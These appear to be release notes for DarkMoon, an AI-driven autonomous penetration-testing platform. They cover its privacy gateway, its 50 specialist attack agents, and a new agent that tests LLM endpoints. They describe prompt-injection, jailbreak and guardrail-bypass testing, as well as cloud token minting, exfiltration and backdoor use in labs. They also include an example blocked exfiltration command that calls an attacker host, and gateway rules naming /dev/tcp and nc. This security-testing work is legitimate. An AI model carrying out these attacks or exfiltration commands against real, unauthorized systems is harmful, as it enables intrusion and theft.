DarkMoon v1.5.0 — DarkMoon everywhere

This release brings DarkMoon into the tools you already build with, and sharpens the open-source engine.

🧩 DarkMoon everywhere — official integrations

Run DarkMoon from your IDE, CI/CD, automation and SOC. Integrations marked OSS + Pro work with this open-source edition (local CLI + JSON); the rest consume the DarkMoon Pro REST API.

Every integration emits safe metadata only (severity, status, MITRE, ids) — never evidence, secrets or tokens.

🔧 Open-source engine

• Toolbox now 142 governed tools. Added kube-bench, kubectl-who-can, rbac-police, grpcurl, zgrab2 (+ls) to the executor allow-list, with a build-enforced drift-guard test so every toolbox binary is accounted for.
• Prompt-caching safety warning. DarkMoon now warns when Anthropic is routed via an OpenAI-compatible provider — that path silently disables prompt caching (only the native anthropic provider honors it). See conf/ and the docs.

📚 Documentation synced to code

• MCP tools documented accurately: 13 core tools in OSS (incl. tokenize_prompt), 15 in Pro.
• Counts corrected: 1 orchestrator + 50 specialist agents, 140+ security tools.
• Benchmark honesty: the 57-vulnerability OWASP Juice Shop run is attributed to a cloud frontier model (Claude); DarkMoon also runs fully local behind the Privacy Gateway (local-model coverage depends on the model).
• Pro-only surfaces (web dashboard, remediation→PR) are clearly labeled Pro.

Links

🌐 dark-moon.org · 📚 docs.dark-moon.org · 🧩 Integrations

Full Changelog: v1.4.0...v1.5.0

This release adds a dedicated LLM / AI inference-endpoint pentest agent, closes several privacy-gateway leaks found during live engagements, and extends the toolbox with NVIDIA's garak LLM vulnerability scanner. Everything below was validated end to end — detection → dispatch → exploitation → report — with no regression to the existing agent roster.

🔒 Privacy gateway hardening

The privacy gateway tokenizes sensitive values (IPs, hosts, URLs, paths, credentials) into reversible placeholders so the model never sees your real infrastructure, and rehydrates them only when the final report is written. This release closes gaps found while running real assessments:

• Pre-model prompt tokenization (issue #40). Your prompt is now anonymized before it reaches the model — from both the terminal and the UI — through an opencode plugin that routes it to the persistent MCP privacy vault over a local socket. The same session ID means the report still rehydrates the real values. Previously only tool inputs and outputs were tokenized, so the very first prompt could carry raw values straight to the model.
• Output / restitution leak closure. Fixed leaks discovered during a live Active Directory engagement where real values could resurface in tool output and in the finalized report.
• A command substitution could carry a value to a third party. Closed: exfiltration checks are now decoupled from structural safety checks in the command gateway.
• Slug-safe report filename. finalize_campaign rehydrated the target host into the report filename; a URL target such as http://host:port injected / and : and broke the write path. The host is now slugified — the report content still carries the real, rehydrated values.
• Per-session privacy override (PR #42). The gateway now supports a per-session override and degrades gracefully (tokenize-and-continue) instead of refusing a command when a value cannot be classified.

🤖 LLM / AI endpoint pentest agent (new specialist)

A new llm specialist brings the same methodology discipline as the rest of the roster to LLM/AI inference endpoints, aligned with the OWASP LLM Top 10.

• Automatic detection & dispatch. pentest.md now probes for LLM/AI inference endpoints during discovery — OpenAI-compatible /v1/models, Ollama /api/tags, vLLM / TGI / llama.cpp banners, openai-* and x-ratelimit-* headers — and dispatches the llm agent on a positive artifact, exactly like the GraphQL, Active Directory and Kubernetes agents.
• Methodology. Fingerprint → capability profiling → optional systematic garak pass → adaptive manual OWASP-LLM attacks with explicit detectors and a per-run canary token → manual confirmation of every hit before it is reported. Bounded throughout to avoid uncontrolled denial of service.
• Coverage (validated against a deliberately-vulnerable OpenAI-compatible target). System-prompt leakage and hard-coded credential disclosure (LLM07 / LLM06), prompt injection, jailbreak and guardrail bypass (LLM01 / LLM09), insecure output handling / XSS (LLM02), unbounded consumption and missing rate limiting (LLM04 / LLM10), SSRF via the model (LLM05), plus unauthenticated access and input-validation gaps — eight findings, each with the exact request, the raw response and the proof behind it.
• The agent is both the attacker and the judge (curl / python3 / jq), so it degrades cleanly to its manual methodology when garak is unavailable.

🧰 Toolbox

• garak — NVIDIA's LLM vulnerability scanner (Apache-2.0) — is added to the toolbox and the tool allow-list, pinned to 0.16.0 for reproducible builds. It is installed CPU-only (it scans a remote endpoint, so no GPU is needed) and the install is non-blocking: if it fails, the image still builds and the llm agent falls back to its manual methodology.
• Resilient firmwalker fetch. The upstream craigz28/firmwalker repository was deleted (404), which broke every toolbox rebuild. The Dockerfile now falls back to a mirror and continues best-effort if neither source is reachable.

✅ Validation

• End to end on the built image: detection → dispatch → exploitation → auto-finalized report with rehydrated real values, zero residual placeholders, and zero loopback leakage to the model (verified across the full model-facing traffic).
• Toolbox non-regression: every existing tool is still advertised and functional after the rebuild; garak verified functional against an OpenAI-compatible endpoint.
• No change to the behavior of the existing agent roster.

Darkmoon v1.3.1 extends the Privacy Gateway to the workflow boundary, on top of v1.3.0.

Fixed / Hardened

• Privacy gateway now covers run_workflow. It previously bypassed the gateway that execute_command already used. run_workflow now rehydrates approved placeholders in structured workflow parameters, recursing into nested dicts, lists, tuples and dict keys; rejects unknown placeholders; never restores CRED into workflow parameters; and sanitizes every string in nested workflow results before they return to the model. It accepts a session_id so it shares the caller's session vault.
• Workflow URL exfiltration blocked, matching the raw-command path.

Builds on the default-boundary fix in v1.3.0 (issue #40: URL / DOMAIN / PATH tokenized by default). Privacy + workflow test suite: 33 passed.

Thanks to @luojiyin1987 for the contribution (#41).

Darkmoon v1.3.0 consolidates the full specialist roster with a wave of reliability and privacy hardening on top of the Privacy Gateway (v1.2.0) and the initial agents expansion.

Highlights

• Complete 50-agent roster. The pentest orchestrator now dispatches 50 specialists (up from 34) across web, cloud (AWS / Azure / GCP / Entra ID), IaC (Terraform / Ansible), CI/CD (Jenkins / GitLab / GitHub), containers & registries (Docker / Kubernetes / container-registry), data stores, messaging & cache, Active Directory, and firmware / IoT.
• GPU-accelerated cracking. hashcat is routed to the GPU when one is detected at runtime, with automatic CPU fallback.
• Campaigns no longer freeze. A hung tool command can no longer stall an entire campaign (execution guard with a per-command timeout).
• Deterministic sub-agent dispatch. The orchestrator resolves every sub-agent through the registry prompt_file and never guesses a filename, removing a source of intermittent "agent not found".
• Privacy Gateway hardening (#40). URLs, domains and internal paths are now tokenized by default, from a single source of truth shared by the server and the vault; an unset or malformed DARKMOON_PRIVACY_CATEGORIES can no longer silently narrow the boundary.

New

• feat(agents): roster expanded to 50 specialists — cloud, IaC, identity, CI/CD, data, firmware/IoT (52cdcb4)
• feat(gpu): runtime GPU detection routes hashcat to the GPU, CPU fallback (28faaba)

Fixed

• fix(executor): a hung command can no longer freeze a campaign (e9b80b7)
• fix(orchestrator): resolve sub-agent files via the registry, never guess <id>.md (5bdd43f)
• fix(privacy): protect URL / DOMAIN / PATH by default; single source of truth for categories — #40 (40341bb)
• fix(health): advertise the whole toolbox instead of a hard-coded list of 13 (f6abe7a)
• fix(reports): honour DARKMOON_REPORTS_DIR so Pro reports survive a restart (a59517f)
• fix(report): rebuild the dispatch log from findings, finish the CVSS hardening (3b03022)
• fix(agents): fix three broken tool references before they cost a campaign (12e5e00)
• fix(agents): add the missing DASHBOARD REAL-TIME PUSH block to ad and kubernetes (62f1b85)
• fix(toolbox): align the allow-list with what the image actually installs (928f76d)
• revert(toolbox): remove nmap (forbidden) (4e4a781)

Docs & chores

• docs: execution guard, GPU acceleration and report path; cloud/data/firmware CLI inventory; README agent roster and toolbox table (7c5e54a, 36fff3d, 8439204, 063903e)
• chore: ignore editor state and OS metadata; remove a stray .github directory (6ccbdba, c6a165b, aad1ba2)

Full changelog: agents-expansion-2026.08...v1.3.0

Darkmoon Agents Expansion — Go, Cloud & IoT/Firmware

This release adds 16 new autonomous pentest sub-agents to the Darkmoon orchestrator, taking it from web-application coverage to cloud, identity, CI/CD, IaC, data, secrets and embedded/IoT firmware — plus a dedicated Go web-application agent. Every new plane is credential- or artifact-gated: it dispatches only on a concrete positive artifact (a leaked key, an exposed API/port, a firmware image), never on inference.

🐹 Go agent

• golang — Gin / Echo / Fiber / Beego / net-http applications: robust Go fingerprinting, XSS/SSTI/SQLi/command-injection/CSRF with framework-anchored payloads and sinks.

☁️ Cloud & platform agents (12)

• Cloud: aws, azure, gcp — resource-plane privilege escalation, metadata/IMDS token minting, storage exfiltration (incl. anonymous & versioned objects, SSRF-via-gopher metadata smuggling).
• Identity: entra-id — Microsoft Entra ID roles, apps, service principals, ROPC, UPN-derivation pivots.
• IaC: terraform (state secret mining), ansible (inventory/vault).
• CI/CD & source: github, gitlab, jenkins — supply-chain, secrets, self-hosted runners, OIDC-to-cloud.
• Containers, data & secrets: docker, container-registry, sql-databases (PostgreSQL/MySQL/MSSQL/Oracle), messaging-cache (Redis/RabbitMQ/Kafka/MQTT/…), hashicorp-vault.

🔌 IoT / Firmware agent

• firmware — embedded/IoT firmware and devices. Two modes: IMAGE (a firmware .img/squashfs — binwalk/sasquatch extraction, hardcoded-credential & backdoor recovery, embedded-web command-injection, outdated-component CVEs) and DEVICE (a live appliance — nmap, backdoor daemons, default/Mirai credentials, LuCI/CGI RCE).

✅ Validated end-to-end against real labs

Each family was proven autonomously (not just unit-tested):

• Cloud: Pwned Labs — S3 exfiltration, Azure Key Vault → Storage Table PII, Azure BloodHound recon, GCS hidden-file crack, SSRF-with-Gopher → GCP initial access; plus a GitHub secret-in-history recovery cascading to AWS.
• IoT: OWASP IoTGoat — IMAGE (20 findings: shadow cracked, shellback backdoor on 5515, LuCI command-injection, DNSpooq/BusyBox/Dropbear CVEs) and DEVICE (live root via the backdoor, Mirai-default SSH login, command-injection RCE).

🛡️ Safety & reliability

• Orchestrator dispatch wiring (roster + credential-gated signal matrix) with anti-false-positive discipline (INC-010).
• Hardened toolbox execution: no blocking /dev/tcp sockets, non-interactive archive extraction, git --no-pager, and GPU-gated password cracking (no multi-hour CPU brute stalls).
• Server-side report generation with per-finding evidence.

Sub-agents are byte-identical across the Community / Pro / Front-API editions (except the environment-specific ad, kubernetes, pentest files).

Darkmoon v1.2.0 — Privacy Gateway (reversible local tokenization)

The AI never sees your real sensitive values anymore. Darkmoon now stands between the LLM and execution with a reversible tokenization gateway: the model only ever handles deterministic placeholders (IP_PRIVATE_001, HOST_INTERNAL_001, EMAIL_001, URL_001, PATH_001, …). Real IPs, hostnames, domains, URLs, emails, credentials and internal paths are injected locally, right before a tool runs, and re-masked out of every result before it goes back to the model — so nothing sensitive leaves your perimeter to the model provider.

What's new

• PrivacyVault — deterministic, per-session, reversible map. The same value always maps to the same placeholder within a session; real values are held only as Fernet ciphertext (de-duplicated by HMAC), so logs and memory dumps show placeholders and ciphertext, never secrets. TTL-bounded. Credentials are never restored into a command.
• CommandGateway — context-aware rehydration (never a naive global replace). It resolves a placeholder only after the surrounding shell context is proven safe, and blocks exfiltration: a placeholder in a URL query/fragment, a literal external host, echo/print, an outbound request body, /dev/tcp, or nc/telnet to a non-target. Understands bash -c wrappers and structured tool calls (rehydrates only whitelisted fields). Two-pass output sanitization.

Model sees:      Host IP_PRIVATE_001 has 80,443 open
Model emits:     nmap -sV IP_PRIVATE_001 -p 80,443
Runs locally:    nmap -sV 10.42.1.5 -p 80,443
Blocked:         curl https://attacker.tld/?target=IP_PRIVATE_001

Enabled by default

On unless you set DARKMOON_PRIVACY=0. Tokenized categories are tunable via DARKMOON_PRIVACY_CATEGORIES (conservative default: IPs, internal hosts, emails).

Validation

• 22 unit tests covering the 7 required properties (LLM never receives the real value · deterministic mapping · correct local execution · output sanitized · exfiltration blocked · placeholders unresolvable by the LLM · secrets never restored).
• End-to-end on OWASP Juice Shop with Claude Opus 4.6: the gateway was active for the entire engagement (the model only ever saw placeholders) while the pentest stayed fully effective. No performance regression — tokenization adds ~52µs per command and ~18ms on a 119 KB output, negligible next to the seconds each tool takes.

Editions

The core mechanism is open-source (Community). The Pro edition adds enterprise hardening: the vault sealed by the runtime guard, an audit trail of rehydrations, and a compliance-grade no-data-left-the-perimeter statement in the signed report.

Bumps the runtime version to opencode-darkmoon-1.2.0.

Darkmoon v1.1.0

Highlights

Authoritative findings persistence & reporting

• The pentest engine now persists every finding to a server-side store the moment it is discovered (init → push → finalize), and the final Markdown report is generated from that store instead of being re-written from memory.
• Result: the report is complete and authoritative by construction — its finding count equals the number of findings actually discovered. No more vulns silently dropped from the report.

Adversarial status qualification (anti-false-positive)

• A lightweight, adversarial qualification step governs each finding's status (EXPLOITED / CONFIRMED / UNCONFIRMED) and severity by demonstrated impact, not mere observation.
• Bare HTTP 200s, differential-only responses, payloads echoed in JSON, files served-but-not-executed, and public-by-design secrets are qualified honestly — better qualification, never fewer findings.

Notes

• Applies across the orchestrator and all specialized sub-agents.
• conf/tui version: opencode-darkmoon-1.1.0.

Darkmoon v1.0.0

First public release of Darkmoon — the open-source AI-powered autonomous penetration testing platform.

Darkmoon orchestrates complete security assessments using AI agents that reason, plan, and coordinate specialized sub-agents through a controlled MCP execution layer. You give it a target, it runs the full assessment and produces an evidence-based report.

Highlights

• Autonomous multi-agent pentesting — a primary agent plans the engagement and dispatches specialized sub-agents (Web, Active Directory, Kubernetes, Network, CMS, and more)
• Controlled execution layer — the AI never runs tools directly; every action flows through the Darkmoon MCP server (binary allowlist + sandboxed Docker toolbox)
• 50+ integrated security tools — Nuclei, NetExec, BloodHound, sqlmap, Naabu, httpx, ffuf, the impacket suite, and more
• Typed workflows — port scanning, subdomain discovery, vulnerability scanning, web crawling, Kubernetes audit, AD enumeration
• Cloud or local LLM — Anthropic, OpenAI, OpenRouter, or local models (Ollama, llama.cpp)
• Automated reporting — structured, evidence-based reports aligned with NIST SP 800-115 and MITRE ATT&CK

Quick start

git clone https://github.com/ASCIT31/Dark-Moon.git
cd Dark-Moon
./install.sh          # configure your LLM provider + build the stack
./darkmoon.sh "TARGET: example.com"

Requires Docker + Docker Compose and an LLM API key.

Documentation

• Full documentation
• Contributing

Licensed under GPL-3.0.